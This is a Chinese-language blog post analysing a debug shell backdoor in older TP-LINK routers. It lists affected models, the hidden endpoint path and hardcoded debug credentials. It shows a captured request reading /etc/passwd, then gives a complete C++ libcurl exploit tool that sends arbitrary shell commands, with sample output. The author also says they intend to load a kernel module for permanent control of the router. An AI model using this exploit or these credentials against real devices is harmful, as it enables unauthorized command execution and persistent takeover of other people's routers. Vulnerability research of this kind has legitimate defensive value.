本篇文章介绍一个TP-LINK低版本的一个调试后门
0x00 前言
TPLINK 存在一个 Shell 调试后门,TPLINK WR941N V2_090803 路由器 后门,TP-link路由器后门漏洞。
影响版本:
WR740N, WR740ND, WR743ND, WR842ND, WA-901ND, WR941N, WR941ND, WR1043ND, WR2543ND, MR3220, MR3020, WR841N
0x01 分析
该后门的地址在:/userRpmNatDebugRpm26525557/linux_cmdline.html
在公司刚好有一台,它的版本是:TL-WR841N
。
参考网上文章获得了用户名和密码:osteam/5up
那么它是怎么执行命令的呢?会不会存在越权情况?PS:后来发现它必须要登录路由器才可以访问到这个Shell接口
通过抓包发现,它会将命令发送到另外一个页面:
并且命令结果都在JS代码块中。
GET /userRpm/DebugResultRpm.htm?cmd=cat%20/etc/passwd&usr=osteam&passwd=5up HTTP/1.1
Host: 192.168.3.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.3.1/userRpmNatDebugRpm26525557/linux_cmdline.html
Authorization: Basic YWRtaW46YWRtaW4=
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------------
HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
<SCRIPT language="javascript" type="text/javascript">
var cmdResult = new Array(
"cat /etc/passwd&\r\n811\r\n# root:x:0:0:root:/root:/bin/sh\r\nAdmin:x:0:0:root:/root:/bin/sh\r\nbin:x:1:1:bin:/bin:/bin/sh\r\ndaemon:x:2:2:daemon:/usr/sbin:/bin/sh\r\nadm:x:3:4:adm:/adm:/bin/sh\r\nlp:x:4:7:lp:/var/spool/lpd:/bin/sh\r\nsync:x:5:0:sync:/bin:/bin/sync\r\nshutdown:x:6:11:shutdown:/sbin:/sbin/shutdown\r\nhalt:x:7:0:halt:/sbin:/sbin/halt\r\nuucp:x:10:14:uucp:/var/spool/uucp:/bin/sh\r\noperator:x:11:0:Operator:/var:/bin/sh\r\nnobody:x:65534:65534:nobody:/home:/bin/sh\r\nap71:x:500:0:Linux User,,,:/root:/bin/sh\r\n\r\n",
0,0 );
</SCRIPT>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<HTML>
<HEAD><TITLE>TL-WR841N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_main.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" src="/dynaform/common.js" type="text/javascript"></SCRIPT>
<SCRIPT language="javascript" type="text/javascript"><!--
//--></SCRIPT>
<script language="Javascript">
function doGetResult()
{
location.href="/userRpm/DebugResultRpm.htm";
}
</script>
</head>
<body>
</body>
</html>
<script language="JavaScript">
var timeInterVal = 2000;
obj = parent.document.getElementById("result");
var temp = obj.scrollTop;
obj.value += cmdResult[0];
obj.scrollTop = temp;
if(parent.bIsonFocus == 0)
obj.scrollTop = obj.scrollHeight;
setTimeout("doGetResult()",timeInterVal);
</script>
其中:Authorization: Basic YWRtaW46YWRtaW4=
就是路由器的权限认证方式了,并且调试接口的用户名密码是以GET方式传输的
0x02 动起手来
我使用C++写了一个测试的程序,主要是还原它发送的数据。
#include <iostream>
#include <curl/curl.h>
#include <regex>
#include <string>
#define TIMEOUT 5
std::string m_replace(std::string strSrc,const std::string &oldStr, const std::string &newStr,int count=-1)
{
std::string strRet=strSrc;
size_t pos = 0;
int l_count=0;
if(-1 == count)
count = strRet.size();
while ((pos = strRet.find(oldStr, pos)) != std::string::npos)
{
strRet.replace(pos, oldStr.size(), newStr);
if(++l_count >= count) break;
pos += newStr.size();
}
return strRet;
}
size_t WriteData(void *pData, size_t size, size_t nmemb, void *stream)
{
std::string *pStr = (std::string *)stream;
size_t len = size * nmemb;
pStr->append((const char *)pData, len);
return len;
}
int main(int argc,char * argv[]) {
if(argc < 5){
std::cout << "Usage: " << argv[0] << " <HOST> <Username> <Password> <Command>"<<std::endl;
std::cout << "Version: WR740N, WR740ND, WR743ND, WR842ND, WA-901ND, WR941N, WR941ND, WR1043ND, WR2543ND, MR3220, MR3020, WR841N"<<std::endl;
exit(EXIT_SUCCESS);
}
std::string host = argv[1];
std::string username = argv[2];
std::string password = argv[3];
std::string command = argv[4];
std::string body;
std::string commands = curl_escape(command.data(),command.size());
host="http://"+host+"/userRpm/DebugResultRpm.htm?cmd="+commands+"&usr=osteam&passwd=5up";
CURL * curl = curl_easy_init();
curl_easy_setopt(curl,CURLOPT_URL,host.c_str());
curl_easy_setopt(curl,CURLOPT_TIMEOUT,TIMEOUT);
curl_easy_setopt(curl,CURLOPT_USERNAME,username.c_str());
curl_easy_setopt(curl,CURLOPT_PASSWORD,password.c_str());
curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,WriteData);
curl_easy_setopt(curl,CURLOPT_WRITEDATA,body);
CURLcode res = curl_easy_perform(curl);
if(res !=0){
std::cout << "ERROR" << std::endl;
curl_easy_cleanup(curl);
exit(EXIT_SUCCESS);
}
int status = 0;
curl_easy_getinfo(curl,CURLINFO_RESPONSE_CODE,&status);
if(status != 200 || status == 401){
std::cout << "ERROR Incorrect username or password." << std::endl;
exit(EXIT_SUCCESS);
}
//std::cout << body << std::endl;
std::regex match_command_result("\\(\\n.*\\n0,0 \\)");
std::smatch mth;
std::regex_search(body,mth,match_command_result);
std::cout << m_replace(mth.str(),"\\r\\n","\n") << std::endl;
curl_easy_cleanup(curl);
return 0;
}
编译:g++ main.cpp -lcurl -o tplinkShell
使用过程:
:-) 正则写的不好,莫见怪
0x03 测试写入文件 - 编写内核模块
发现Web目录是不可写、不可读的。
参考:https://www.cnblogs.com/amaoxiaozhu/archive/2013/03/08/2950002.html
可以进行编写mod,使内核加载
传送门:https://www.cnblogs.com/skyred99/p/5683710.html
这块先放着,后面如过理解了再尝试导入内核模块,永久控制路由器
payloads@koone:~$ ./tplinkShell 192.168.3.1 admin admin "/sbin/insmod"
(
"/sbin/insmod
BusyBox v1.01 (2009.01.06-01:38+0000) multi-call binary
Usage: insmod [OPTION]... MODULE [symbol=value]...
Loads the specified kernel modules into the kernel.
Options:
-f Force module to load into the wrong kernel version.
-k Make module autoclean-able.
-v verbose output
-q quiet output
-L Lock to prevent simultaneous loads of a module
-o NAME Set internal module name to NAME
-x do not export externs
insmod用于加载模块